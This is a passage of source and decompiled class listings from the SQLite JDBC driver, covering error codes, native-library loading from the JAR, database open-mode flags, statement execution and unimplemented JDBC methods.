    SQLITE_IOERR(10, " Some kind of disk I/O error occurred"),



    SQLITE_CORRUPT(11, " The database disk image is malformed"),



    SQLITE_NOTFOUND(12, " NOT USED. Table or record not found"),



    SQLITE_FULL(13, " Insertion failed because database is full"),



    SQLITE_CANTOPEN(14, " Unable to open the database file"),



    SQLITE_PROTOCOL(15, " NOT USED. Database lock protocol error"),



    SQLITE_EMPTY(16, " Database is empty"),



    SQLITE_SCHEMA(17, " The database schema changed"),



    SQLITE_TOOBIG(18, " String or BLOB exceeds size limit"),



    SQLITE_CONSTRAINT(19, " Abort due to constraint violation"),



    SQLITE_MISMATCH(20, " Data type mismatch"),



    SQLITE_MISUSE(21, " Library used incorrectly"),



    SQLITE_NOLFS(22, " Uses OS features not supported on host"),



    SQLITE_AUTH(23, " Authorization denied"),



    SQLITE_FORMAT(24, " Auxiliary database format error"),



    SQLITE_RANGE(25, " 2nd parameter to sqlite3_bind out of range"),



    SQLITE_NOTADB(26, " File opened that is not a database file"),



    SQLITE_ROW(100, " sqlite3_step() has another row ready"),



    SQLITE_DONE(101, " sqlite3_step() has finished executing");







    public final int code;



    public final String message;







    private SQLiteErrorCode(int code, String message)



    {



        this.code = code;



        this.message = message;



    }







    public static SQLiteErrorCode getErrorCode(int errorCode)



    {



        for (SQLiteErrorCode each : SQLiteErrorCode.values())



        {



            if (errorCode == each.code)



                return each;



        }



        return UNKNOWN_ERROR;



    }







    @Override



    public String toString()



    {



        return String.format("[%s] %s", this.name(), message);



    }



}










org/sqlite/SQLiteJDBCLoader.class


package org.sqlite;
public synchronized class SQLiteJDBCLoader {
    private static boolean extracted;
    public void SQLiteJDBCLoader();
    public static boolean initialize();
    static boolean getPureJavaFlag();
    public static boolean isPureJavaMode();
    public static boolean isNativeMode();
    static String md5sum(java.io.InputStream) throws java.io.IOException;
    private static boolean extractAndLoadLibraryFile(String, String, String);
    private static synchronized boolean loadNativeLibrary(String, String);
    private static void loadSQLiteNativeLibrary();
    private static void getNativeLibraryFolderForTheCurrentOS();
    public static int getMajorVersion();
    public static int getMinorVersion();
    public static String getVersion();
    static void <clinit>();
}










org/sqlite/SQLiteJDBCLoader.java



org/sqlite/SQLiteJDBCLoader.java


/*--------------------------------------------------------------------------



 *  Copyright 2007 Taro L. Saito



 *



 *  Licensed under the Apache License, Version 2.0 (the "License");



 *  you may not use this file except in compliance with the License.



 *  You may obtain a copy of the License at



 *



 *     http://www.apache.org/licenses/LICENSE-2.0



 *



 *  Unless required by applicable law or agreed to in writing, software



 *  distributed under the License is distributed on an "AS IS" BASIS,



 *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.



 *  See the License for the specific language governing permissions and



 *  limitations under the License.



 *--------------------------------------------------------------------------*/



//--------------------------------------



// SQLite JDBC Project



//



// SQLite.java



// Since: 2007/05/10



//



// $URL$ 



// $Author$



//--------------------------------------



package org.sqlite;







import java.io.BufferedInputStream;



import java.io.ByteArrayOutputStream;



import java.io.File;



import java.io.FileInputStream;



import java.io.FileOutputStream;



import java.io.IOException;



import java.io.InputStream;



import java.net.URL;



import java.security.DigestInputStream;



import java.security.MessageDigest;



import java.security.NoSuchAlgorithmException;



import java.util.Properties;







/**



 * Set the system properties, org.sqlite.lib.path, org.sqlite.lib.name,



 * appropriately so that the SQLite JDBC driver can find *.dll, *.jnilib and



 * *.so files, according to the current OS (win, linux, mac).



 * 



 * The library files are automatically extracted from this project's package



 * (JAR).



 * 



 * usage: call {@link #initialize()} before using SQLite JDBC driver.



 * 



 * @author leo



 * 



 */



public class SQLiteJDBCLoader



{







    private static boolean extracted = false;







    public static boolean initialize() {



        loadSQLiteNativeLibrary();



        return extracted;



    }







    static boolean getPureJavaFlag() {



        return Boolean.parseBoolean(System.getProperty("sqlite.purejava", "false"));



    }







    public static boolean isPureJavaMode() {



        return !isNativeMode();



    }







    public static boolean isNativeMode() {



        if (getPureJavaFlag())



            return false;







        // load the driver



        initialize();



        return extracted;



    }







    /**



     * Computes the MD5 value of the input stream



     * 



     * @param input



     * @return



     * @throws IOException



     * @throws NoSuchAlgorithmException



     */



    static String md5sum(InputStream input) throws IOException {



        BufferedInputStream in = new BufferedInputStream(input);







        try {



            MessageDigest digest = java.security.MessageDigest.getInstance("MD5");



            DigestInputStream digestInputStream = new DigestInputStream(in, digest);



            for (; digestInputStream.read() >= 0;) {







            }



            ByteArrayOutputStream md5out = new ByteArrayOutputStream();



            md5out.write(digest.digest());



            return md5out.toString();



        }



        catch (NoSuchAlgorithmException e) {



            throw new IllegalStateException("MD5 algorithm is not available: " + e);



        }



        finally {



            in.close();



        }



    }







    /**



     * Extract the specified library file to the target folder



     * 



     * @param libFolderForCurrentOS



     * @param libraryFileName



     * @param targetFolder



     * @return



     */



    private static boolean extractAndLoadLibraryFile(String libFolderForCurrentOS, String libraryFileName,



            String targetFolder) {



        String nativeLibraryFilePath = libFolderForCurrentOS + "/" + libraryFileName;



        final String prefix = "sqlite-" + getVersion() + "-";







        String extractedLibFileName = prefix + libraryFileName;



        File extractedLibFile = new File(targetFolder, extractedLibFileName);







        try {



            if (extractedLibFile.exists()) {



                // test md5sum value



                String md5sum1 = md5sum(SQLiteJDBCLoader.class.getResourceAsStream(nativeLibraryFilePath));



                String md5sum2 = md5sum(new FileInputStream(extractedLibFile));







                if (md5sum1.equals(md5sum2)) {



                    return loadNativeLibrary(targetFolder, extractedLibFileName);



                }



                else {



                    // remove old native library file



                    boolean deletionSucceeded = extractedLibFile.delete();



                    if (!deletionSucceeded) {



                        throw new IOException("failed to remove existing native library file: "



                                + extractedLibFile.getAbsolutePath());



                    }



                }



            }







            // extract file into the current directory



            InputStream reader = SQLiteJDBCLoader.class.getResourceAsStream(nativeLibraryFilePath);



            FileOutputStream writer = new FileOutputStream(extractedLibFile);



            byte[] buffer = new byte[1024];



            int bytesRead = 0;



            while ((bytesRead = reader.read(buffer)) != -1) {



                writer.write(buffer, 0, bytesRead);



            }







            writer.close();



            reader.close();







            if (!System.getProperty("os.name").contains("Windows")) {



                try {



                    Runtime.getRuntime().exec(new String[] { "chmod", "755", extractedLibFile.getAbsolutePath() })



                            .waitFor();



                }



                catch (Throwable e) {}



            }







            return loadNativeLibrary(targetFolder, extractedLibFileName);



        }



        catch (IOException e) {



            System.err.println(e.getMessage());



            return false;



        }







    }







    private static synchronized boolean loadNativeLibrary(String path, String name) {



        File libPath = new File(path, name);



        if (libPath.exists()) {







            try {



                System.load(new File(path, name).getAbsolutePath());



                return true;



            }



            catch (UnsatisfiedLinkError e) {



                System.err.println(e);



                return false;



            }







        }



        else



            return false;



    }







    private static void loadSQLiteNativeLibrary() {



        if (extracted)



            return;







        boolean runInPureJavaMode = getPureJavaFlag();



        if (runInPureJavaMode) {



            extracted = false;



            return;



        }







        // Try loading library from org.sqlite.lib.path library path */



        String sqliteNativeLibraryPath = System.getProperty("org.sqlite.lib.path");



        String sqliteNativeLibraryName = System.getProperty("org.sqlite.lib.name");



        if (sqliteNativeLibraryName == null)



            sqliteNativeLibraryName = System.mapLibraryName("sqlitejdbc");







        if (sqliteNativeLibraryPath != null) {



            if (loadNativeLibrary(sqliteNativeLibraryPath, sqliteNativeLibraryName)) {



                extracted = true;



                return;



            }



        }







        // Load the os-dependent library from a jar file



        sqliteNativeLibraryPath = "/native/" + OSInfo.getNativeLibFolderPathForCurrentOS();







        if (SQLiteJDBCLoader.class.getResource(sqliteNativeLibraryPath + "/" + sqliteNativeLibraryName) == null) {



            // use nested VM version



            return;



        }







        // temporary library folder



        String tempFolder = new File(System.getProperty("java.io.tmpdir")).getAbsolutePath();



        // Try extracting the library from jar 



        if (extractAndLoadLibraryFile(sqliteNativeLibraryPath, sqliteNativeLibraryName, tempFolder)) {



            extracted = true;



            return;



        }







        extracted = false;



        return;



    }







    private static void getNativeLibraryFolderForTheCurrentOS() {



        String osName = OSInfo.getOSName();



        String archName = OSInfo.getArchName();







    }







    public static int getMajorVersion() {



        String[] c = getVersion().split("\\.");



        return (c.length > 0) ? Integer.parseInt(c[0]) : 1;



    }







    public static int getMinorVersion() {



        String[] c = getVersion().split("\\.");



        return (c.length > 1) ? Integer.parseInt(c[1]) : 0;



    }







    public static String getVersion() {







        URL versionFile = SQLiteJDBCLoader.class.getResource("/META-INF/maven/org.xerial/sqlite-jdbc/pom.properties");



        if (versionFile == null)



            versionFile = SQLiteJDBCLoader.class.getResource("/META-INF/maven/org.xerial/sqlite-jdbc/VERSION");







        String version = "unknown";



        try {



            if (versionFile != null) {



                Properties versionData = new Properties();



                versionData.load(versionFile.openStream());



                version = versionData.getProperty("version", version);



                version = version.trim().replaceAll("[^0-9\\.]", "");



            }



        }



        catch (IOException e) {



            System.err.println(e);



        }



        return version;



    }







}










org/sqlite/SQLiteOpenMode.class


package org.sqlite;
public final synchronized enum SQLiteOpenMode {
    public static final SQLiteOpenMode READONLY;
    public static final SQLiteOpenMode READWRITE;
    public static final SQLiteOpenMode CREATE;
    public static final SQLiteOpenMode DELETEONCLOSE;
    public static final SQLiteOpenMode EXCLUSIVE;
    public static final SQLiteOpenMode MAIN_DB;
    public static final SQLiteOpenMode TEMP_DB;
    public static final SQLiteOpenMode TRANSIENT_DB;
    public static final SQLiteOpenMode MAIN_JOURNAL;
    public static final SQLiteOpenMode TEMP_JOURNAL;
    public static final SQLiteOpenMode SUBJOURNAL;
    public static final SQLiteOpenMode MASTER_JOURNAL;
    public static final SQLiteOpenMode NOMUTEX;
    public static final SQLiteOpenMode FULLMUTEX;
    public static final SQLiteOpenMode SHAREDCACHE;
    public static final SQLiteOpenMode PRIVATECACHE;
    public final int flag;
    public static final SQLiteOpenMode[] values();
    public static SQLiteOpenMode valueOf(String);
    private void SQLiteOpenMode(String, int, int);
    static void <clinit>();
}










org/sqlite/SQLiteOpenMode.java



org/sqlite/SQLiteOpenMode.java


/*--------------------------------------------------------------------------



 *  Copyright 2009 Taro L. Saito



 *



 *  Licensed under the Apache License, Version 2.0 (the "License");



 *  you may not use this file except in compliance with the License.



 *  You may obtain a copy of the License at



 *



 *     http://www.apache.org/licenses/LICENSE-2.0



 *



 *  Unless required by applicable law or agreed to in writing, software



 *  distributed under the License is distributed on an "AS IS" BASIS,



 *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.



 *  See the License for the specific language governing permissions and



 *  limitations under the License.



 *--------------------------------------------------------------------------*/



//--------------------------------------



// sqlite-jdbc Project



//



// SQLiteOpenMode.java



// Since: Dec 8, 2009



//



// $URL$ 



// $Author$



//--------------------------------------



package org.sqlite;







/**



 * Database file open modes of SQLite.



 * 



 * See also http://sqlite.org/c3ref/open.html



 * 



 * @author leo



 * 



 */



public enum SQLiteOpenMode {



    READONLY(0x00000001), /* Ok for int SQLITE3_open_v2() */



    READWRITE(0x00000002), /* Ok for int SQLITE3_open_v2() */



    CREATE(0x00000004), /* Ok for int SQLITE3_open_v2() */



    DELETEONCLOSE(0x00000008), /* VFS only */



    EXCLUSIVE(0x00000010), /* VFS only */



    MAIN_DB(0x00000100), /* VFS only */



    TEMP_DB(0x00000200), /* VFS only */



    TRANSIENT_DB(0x00000400), /* VFS only */



    MAIN_JOURNAL(0x00000800), /* VFS only */



    TEMP_JOURNAL(0x00001000), /* VFS only */



    SUBJOURNAL(0x00002000), /* VFS only */



    MASTER_JOURNAL(0x00004000), /* VFS only */



    NOMUTEX(0x00008000), /* Ok for int SQLITE3_open_v2() */



    FULLMUTEX(0x00010000), /* Ok for int SQLITE3_open_v2() */



    SHAREDCACHE(0x00020000), /* Ok for int SQLITE3_open_v2() */



    PRIVATECACHE(0x00040000) /* Ok for sqlite3_open_v2() */



    ;







    public final int flag;







    private SQLiteOpenMode(int flag) {



        this.flag = flag;



    }



}










org/sqlite/Stmt$BackupObserver.class


package org.sqlite;
synchronized class Stmt$BackupObserver implements DB$ProgressObserver {
    void Stmt$BackupObserver();
    public void progress(int, int);
}










org/sqlite/Stmt.class


package org.sqlite;
synchronized class Stmt extends Unused implements java.sql.Statement, Codes {
    final Conn conn;
    final DB db;
    final RS rs;
    long pointer;
    String sql;
    int batchPos;
    Object[] batch;
    boolean resultsWaiting;
    void Stmt(Conn);
    protected final void checkOpen() throws java.sql.SQLException;
    boolean isOpen() throws java.sql.SQLException;
    protected boolean exec() throws java.sql.SQLException;
    protected boolean exec(String) throws java.sql.SQLException;
    public void close() throws java.sql.SQLException;
    protected void finalize() throws java.sql.SQLException;
    public boolean execute(String) throws java.sql.SQLException;
    public java.sql.ResultSet executeQuery(String) throws java.sql.SQLException;
    public int executeUpdate(String) throws java.sql.SQLException;
    public java.sql.ResultSet getResultSet() throws java.sql.SQLException;
    public int getUpdateCount() throws java.sql.SQLException;
    public void addBatch(String) throws java.sql.SQLException;
    public void clearBatch() throws java.sql.SQLException;
    public int[] executeBatch() throws java.sql.SQLException;
    public void setCursorName(String);
    public java.sql.SQLWarning getWarnings() throws java.sql.SQLException;
    public void clearWarnings() throws java.sql.SQLException;
    public java.sql.Connection getConnection() throws java.sql.SQLException;
    public void cancel() throws java.sql.SQLException;
    public int getQueryTimeout() throws java.sql.SQLException;
    public void setQueryTimeout(int) throws java.sql.SQLException;
    public int getMaxRows() throws java.sql.SQLException;
    public void setMaxRows(int) throws java.sql.SQLException;
    public int getMaxFieldSize() throws java.sql.SQLException;
    public void setMaxFieldSize(int) throws java.sql.SQLException;
    public int getFetchSize() throws java.sql.SQLException;
    public void setFetchSize(int) throws java.sql.SQLException;
    public int getFetchDirection() throws java.sql.SQLException;
    public void setFetchDirection(int) throws java.sql.SQLException;
    public java.sql.ResultSet getGeneratedKeys() throws java.sql.SQLException;
    public boolean getMoreResults() throws java.sql.SQLException;
    public boolean getMoreResults(int) throws java.sql.SQLException;
    public int getResultSetConcurrency() throws java.sql.SQLException;
    public int getResultSetHoldability() throws java.sql.SQLException;
    public int getResultSetType() throws java.sql.SQLException;
}










org/sqlite/Stmt.java



org/sqlite/Stmt.java


/*



 * Copyright (c) 2007 David Crawshaw <david@zentus.com>



 * 



 * Permission to use, copy, modify, and/or distribute this software for any



 * purpose with or without fee is hereby granted, provided that the above



 * copyright notice and this permission notice appear in all copies.



 * 



 * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES



 * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF



 * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR



 * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES



 * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN



 * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF



 * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.



 */



package org.sqlite;







import java.sql.BatchUpdateException;



import java.sql.Connection;



import java.sql.ResultSet;



import java.sql.SQLException;



import java.sql.SQLWarning;



import java.sql.Statement;







import org.sqlite.DB.ProgressObserver;



import org.sqlite.ExtendedCommand.SQLExtension;







class Stmt extends Unused implements Statement, Codes



{



    final Conn conn;



    final DB   db;



    final RS   rs;







    long       pointer;



    String     sql            = null;







    int        batchPos;



    Object[]   batch          = null;



    boolean    resultsWaiting = false;







    Stmt(Conn c) {



        conn = c;



        db = conn.db();



        rs = new RS(this);



    }







    protected final void checkOpen() throws SQLException {



        if (pointer == 0)



            throw new SQLException("statement is not executing");



    }







    boolean isOpen() throws SQLException {



        return (pointer != 0);



    }







    /** Calls sqlite3_step() and sets up results. Expects a clean stmt. */



    protected boolean exec() throws SQLException {



        if (sql == null)



            throw new SQLException("SQLiteJDBC internal error: sql==null");



        if (rs.isOpen())



            throw new SQLException("SQLite JDBC internal error: rs.isOpen() on exec.");







        boolean rc = false;



        try {



            rc = db.execute(this, null);



        }



        finally {



            resultsWaiting = rc;



        }







        return db.column_count(pointer) != 0;



    }







    protected boolean exec(String sql) throws SQLException {



        if (sql == null)



            throw new SQLException("SQLiteJDBC internal error: sql==null");



        if (rs.isOpen())



            throw new SQLException("SQLite JDBC internal error: rs.isOpen() on exec.");







        boolean rc = false;



        try {



            rc = db.execute(sql);



        }



        finally {



            resultsWaiting = rc;



        }







        return db.column_count(pointer) != 0;



    }







    // PUBLIC INTERFACE /////////////////////////////////////////////







    public void close() throws SQLException {



        if (pointer == 0)



            return;



        rs.close();



        batch = null;



        batchPos = 0;



        int resp = db.finalize(this);



        if (resp != SQLITE_OK && resp != SQLITE_MISUSE)



            db.throwex();



    }







    @Override



    protected void finalize() throws SQLException {



        close();



    }







    public boolean execute(String sql) throws SQLException {



        close();



        this.sql = sql;







        db.prepare(this);



        return exec();



    }







    public ResultSet executeQuery(String sql) throws SQLException {



        close();



        this.sql = sql;







        db.prepare(this);



        if (!exec()) {



            close();



            throw new SQLException("query does not return ResultSet");



        }



        return getResultSet();



    }







    static class BackupObserver implements ProgressObserver



    {



        public void progress(int remaining, int pageCount) {



            System.out.println(String.format("remaining:%d, page count:%d", remaining, pageCount));



        }



    }







    public int executeUpdate(String sql) throws SQLException {



        close();



        this.sql = sql;







        int changes = 0;



        SQLExtension ext = ExtendedCommand.parse(sql);



        if (ext != null) {



            // execute extended command 



            ext.execute(db);



        }



        else {



            try {



                //db.prepare(this);



                //changes = db.executeUpdate(this, null);







                // directly invokes the exec API to support multiple SQL statements 



                int statusCode = db._exec(sql);



                if (statusCode != SQLITE_OK)



                    throw DB.newSQLException(statusCode, "");







                changes = db.changes();



            }



            finally {



                close();



            }



        }



        return changes;



    }







    public ResultSet getResultSet() throws SQLException {



        checkOpen();



        if (rs.isOpen())



            throw new SQLException("ResultSet already requested");



        if (db.column_count(pointer) == 0)



            throw new SQLException("no ResultSet available");



        if (rs.colsMeta == null)



            rs.colsMeta = db.column_names(pointer);



        rs.cols = rs.colsMeta;







        rs.open = resultsWaiting;



        resultsWaiting = false;



        return rs;



    }







    /*



     * This function has a complex behaviour best understood by carefully



     * reading the JavaDoc for getMoreResults() and considering the test



     * StatementTest.execute().



     */



    public int getUpdateCount() throws SQLException {



        if (pointer != 0 && !rs.isOpen() && !resultsWaiting && db.column_count(pointer) == 0)



            return db.changes();



        return -1;



    }







    public void addBatch(String sql) throws SQLException {



        close();



        if (batch == null || batchPos + 1 >= batch.length) {



            Object[] nb = new Object[Math.max(10, batchPos * 2)];



            if (batch != null)



                System.arraycopy(batch, 0, nb, 0, batch.length);



            batch = nb;



        }



        batch[batchPos++] = sql;



    }







    public void clearBatch() throws SQLException {



        batchPos = 0;



        if (batch != null)



            for (int i = 0; i < batch.length; i++)



                batch[i] = null;



    }







    public int[] executeBatch() throws SQLException {



        // TODO: optimize



        close();



        if (batch == null || batchPos == 0)



            return new int[] {};







        int[] changes = new int[batchPos];







        synchronized (db) {



            try {



                for (int i = 0; i < changes.length; i++) {



                    try {



                        this.sql = (String) batch[i];



                        db.prepare(this);



                        changes[i] = db.executeUpdate(this, null);



                    }



                    catch (SQLException e) {



                        throw new BatchUpdateException("batch entry " + i + ": " + e.getMessage(), changes);



                    }



                    finally {



                        db.finalize(this);



                    }



                }



            }



            finally {



                clearBatch();



            }



        }







        return changes;



    }







    public void setCursorName(String name) {}







    public SQLWarning getWarnings() throws SQLException {



        return null;



    }







    public void clearWarnings() throws SQLException {}







    public Connection getConnection() throws SQLException {



        return conn;



    }







    public void cancel() throws SQLException {



        rs.checkOpen();



        db.interrupt();



    }







    public int getQueryTimeout() throws SQLException {



        return conn.getTimeout();



    }







    public void setQueryTimeout(int seconds) throws SQLException {



        if (seconds < 0)



            throw new SQLException("query timeout must be >= 0");



        conn.setTimeout(1000 * seconds);



    }







    // TODO: write test



    public int getMaxRows() throws SQLException {



        //checkOpen();



        return rs.maxRows;



    }







    public void setMaxRows(int max) throws SQLException {



        //checkOpen();



        if (max < 0)



            throw new SQLException("max row count must be >= 0");



        rs.maxRows = max;



    }







    public int getMaxFieldSize() throws SQLException {



        return 0;



    }







    public void setMaxFieldSize(int max) throws SQLException {



        if (max < 0)



            throw new SQLException("max field size " + max + " cannot be negative");



    }







    public int getFetchSize() throws SQLException {



        return rs.getFetchSize();



    }







    public void setFetchSize(int r) throws SQLException {



        rs.setFetchSize(r);



    }







    public int getFetchDirection() throws SQLException {



        return rs.getFetchDirection();



    }







    public void setFetchDirection(int d) throws SQLException {



        rs.setFetchDirection(d);



    }







    /**



     * As SQLite's last_insert_rowid() function is DB-specific not statement



     * specific, this function introduces a race condition if the same



     * connection is used by two threads and both insert.



     */



    public ResultSet getGeneratedKeys() throws SQLException {



        return ((MetaData) conn.getMetaData()).getGeneratedKeys();



    }







    /** SQLite does not support multiple results from execute(). */



    public boolean getMoreResults() throws SQLException {



        return getMoreResults(0);



    }







    public boolean getMoreResults(int c) throws SQLException {



        checkOpen();



        close(); // as we never have another result, clean up pointer



        return false;



    }







    public int getResultSetConcurrency() throws SQLException {



        return ResultSet.CONCUR_READ_ONLY;



    }







    public int getResultSetHoldability() throws SQLException {



        return ResultSet.CLOSE_CURSORS_AT_COMMIT;



    }







    public int getResultSetType() throws SQLException {



        return ResultSet.TYPE_FORWARD_ONLY;



    }



}
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package org.sqlite;
abstract synchronized class Unused {
    void Unused();
    private java.sql.SQLException unused();
    public void setEscapeProcessing(boolean) throws java.sql.SQLException;
    public boolean execute(String, int[]) throws java.sql.SQLException;
    public boolean execute(String, String[]) throws java.sql.SQLException;
    public int executeUpdate(String, int) throws java.sql.SQLException;
    public int executeUpdate(String, int[]) throws java.sql.SQLException;
    public int executeUpdate(String, String[]) throws java.sql.SQLException;
    public boolean execute(String, int) throws java.sql.SQLException;
    public void setArray(int, java.sql.Array) throws java.sql.SQLException;
    public void setAsciiStream(int, java.io.InputStream, int) throws java.sql.SQLException;
    public void setBigDecimal(int, java.math.BigDecimal) throws java.sql.SQLException;
    public void setBinaryStream(int, java.io.InputStream, int) throws java.sql.SQLException;
    public void setBlob(int, java.sql.Blob) throws java.sql.SQLException;
    public void setClob(int, java.sql.Clob) throws java.sql.SQLException;
    public void setRef(int, java.sql.Ref) throws java.sql.SQLException;
    public void setUnicodeStream(int, java.io.InputStream, int) throws java.sql.SQLException;
    public void setURL(int, java.net.URL) throws java.sql.SQLException;
    public java.sql.Array getArray(int) throws java.sql.SQLException;
    public java.sql.Array getArray(String) throws java.sql.SQLException;
    public java.io.InputStream getAsciiStream(int) throws java.sql.SQLException;
    public java.io.InputStream getAsciiStream(String) throws java.sql.SQLException;
    public java.math.BigDecimal getBigDecimal(int) throws java.sql.SQLException;
    public java.math.BigDecimal getBigDecimal(int, int) throws java.sql.SQLException;
    public java.math.BigDecimal getBigDecimal(String) throws java.sql.SQLException;
    public java.math.BigDecimal getBigDecimal(String, int) throws java.sql.SQLException;
    public java.io.InputStream getBinaryStream(int) throws java.sql.SQLException;
    public java.io.InputStream getBinaryStream(String) throws java.sql.SQLException;
    public java.sql.Blob getBlob(int) throws java.sql.SQLException;
    public java.sql.Blob getBlob(String) throws java.sql.SQLException;
    public java.sql.Clob getClob(int) throws java.sql.SQLException;
    public java.sql.Clob getClob(String) throws java.sql.SQLException;
    public Object getObject(int, java.util.Map) throws java.sql.SQLException;
    public Object getObject(String, java.util.Map) throws java.sql.SQLException;
    public java.sql.Ref getRef(int) throws java.sql.SQLException;
    public java.sql.Ref getRef(String) throws java.sql.SQLException;
    public java.io.InputStream getUnicodeStream(int) throws java.sql.SQLException;
    public java.io.InputStream getUnicodeStream(String) throws java.sql.SQLException;
    public java.net.URL getURL(int) throws java.sql.SQLException;
    public java.net.URL getURL(String) throws java.sql.SQLException;
    public void insertRow() throws java.sql.SQLException;
    public void moveToCurrentRow() throws java.sql.SQLException;
    public void moveToInsertRow() throws java.sql.SQLException;
    public boolean last() throws java.sql.SQLException;
    public boolean previous() throws java.sql.SQLException;
    public boolean relative(int) throws java.sql.SQLException;
    public boolean absolute(int) throws java.sql.SQLException;
    public void afterLast() throws java.sql.SQLException;
    public void beforeFirst() throws java.sql.SQLException;
    public boolean first() throws java.sql.SQLException;
    public void cancelRowUpdates() throws java.sql.SQLException;
    public void deleteRow() throws java.sql.SQLException;
    public void updateArray(int, java.sql.Array) throws java.sql.SQLException;
    public void updateArray(String, java.sql.Array) throws java.sql.SQLException;
    public void updateAsciiStream(int, java.io.InputStream, int) throws java.sql.SQLException;
    public void updateAsciiStream(String, java.io.InputStream, int) throws java.sql.SQLException;
    public void updateBigDecimal(int, java.math.BigDecimal) throws java.sql.SQLException;
    public void updateBigDecimal(String, java.math.BigDecimal) throws java.sql.SQLException;
    public void updateBinaryStream(int, java.io.InputStream, int) throws java.sql.SQLException;
    public void updateBinaryStream(String, java.io.InputStream, int) throws java.sql.SQLException;
    public void updateBlob(int, java.sql.Blob) throws java.sql.SQLException;
    public void updateBlob(String, java.sql.Blob) throws java.sql.SQLException;
    public void updateBoolean(int, boolean) throws java.sql.SQLException;
    public void updateBoolean(String, boolean) throws java.sql.SQLException;
    public void updateByte(int, byte) throws java.sql.SQLException;
    public void updateByte(String, byte) throws java.sql.SQLException;
    public void updateBytes(int, byte[]) throws java.sql.SQLException;
    public void updateBytes(String, byte[]) throws java.sql.SQLException;
    public void updateCharacterStream(int, java.io.Reader, int) throws java.sql.SQLException;
    public void updateCharacterStream(String, java.io.Reader, int) throws java.sql.SQLException;
    public void updateClob(int, java.sql.Clob) throws java.sql.SQLException;
    public void updateClob(String, java.sql.Clob) throws java.sql.SQLException;
    public void updateDate(int, java.sql.Date) throws java.sql.SQLException;
    public void updateDate(String, java.sql.Date) throws java.sql.SQLException;
    public void updateDouble(int, double) throws java.sql.SQLException;
    public void updateDouble(String, double) throws java.sql.SQLException;
    public void updateFloat(int, float) throws java.sql.SQLException;
    public void updateFloat(String, float) throws java.sql.SQLException;
    public void updateInt(int, int) throws java.sql.SQLException;
    public void updateInt(String, int) throws java.sql.SQLException;
    public void updateLong(int, long) throws java.sql.SQLException;
    public void updateLong(String, long) throws java.sql.SQLException;
    public void updateNull(int) throws java.sql.SQLException;
    public void updateNull(String) throws java.sql.SQLException;
    public void updateObject(int, Object) throws java.sql.SQLException;
    public void updateObject(int, Object, int) throws java.sql.SQLException;
    public void updateObject(String, Object) throws java.sql.SQLException;
    public void updateObject(String, Object, int) throws java.sql.SQLException;
    public void updateRef(int, java.sql.Ref) throws java.sql.SQLException;
    public void updateRef(String, java.sql.Ref) throws java.sql.SQLException;
    public void updateRow() throws java.sql.SQLException;
    public void updateShort(int, short) throws java.sql.SQLException;
    public void updateShort(String, short) throws java.sql.SQLException;
    public void updateString(int, String) throws java.sql.SQLException;
    public void updateString(String, String) throws java.sql.SQLException;
    public void updateTime(int, java.sql.Time) throws java.sql.SQLException;
    public void updateTime(String, java.sql.Time) throws java.sql.SQLException;
    public void updateTimestamp(int, java.sql.Timestamp) throws java.sql.SQLException;
    public void updateTimestamp(String, java.sql.Timestamp) throws java.sql.SQLException;
    public void refreshRow() throws java.sql.SQLException;
}
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/*



 * Copyright (c) 2007 David Crawshaw <david@zentus.com>



 * 



 * Permission to use, copy, modify, and/or distribute this software for any



 * purpose with or without fee is hereby granted, provided that the above



 * copyright notice and this permission notice appear in all copies.



 * 



 * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES



 * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF



 * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR



 * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES



 * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN



 * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF



 * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.



 */







package org.sqlite;







import java.io.*;



import java.math.*;



import java.net.*;



import java.sql.*;



import java.util.Map;







/** Unused JDBC functions from Statement, PreparedStatement and ResultSet.  */



abstract class Unused



{



    private SQLException unused() {



        return new SQLException("not implemented by SQLite JDBC driver");



    }











    // Statement ////////////////////////////////////////////////////







    public void setEscapeProcessing(boolean enable)



        throws SQLException { throw unused(); }



    public boolean execute(String sql, int[] colinds)



        throws SQLException { throw unused(); }



    public boolean execute(String sql, String[] colnames)



        throws SQLException { throw unused(); }



    public int executeUpdate(String sql, int autoKeys)



        throws SQLException { throw unused(); }



    public int executeUpdate(String sql, int[] colinds)



        throws SQLException { throw unused(); }



    public int executeUpdate(String sql, String[] cols)



        throws SQLException { throw unused(); }



    public boolean execute(String sql, int autokeys)



        throws SQLException { throw unused(); }











    // PreparedStatement ////////////////////////////////////////////







    public void setArray(int i, Array x)



        throws SQLException { throw unused(); }



    public void setAsciiStream(int parameterIndex, InputStream x, int length)



        throws SQLException { throw unused(); }



    public void setBigDecimal(int parameterIndex, BigDecimal x)



        throws SQLException { throw unused(); }



    public void setBinaryStream(int parameterIndex, InputStream x, int length)



        throws SQLException { throw unused(); }



    public void setBlob(int i, Blob x)



        throws SQLException { throw unused(); }



    public void setClob(int i, Clob x)



        throws SQLException { throw unused(); }



    public void setRef(int i, Ref x)



        throws SQLException { throw unused(); }



    public void setUnicodeStream(int pos, InputStream x, int length)



        throws SQLException { throw unused(); }



    public void setURL(int pos, URL x)



        throws SQLException { throw unused(); }











    // ResultSet ////////////////////////////////////////////////////







    public Array getArray(int i)



        throws SQLException { throw unused(); }



    public Array getArray(String col)



        throws SQLException { throw unused(); }



    public InputStream getAsciiStream(int col)



        throws SQLException { throw unused(); }



    public InputStream getAsciiStream(String col)



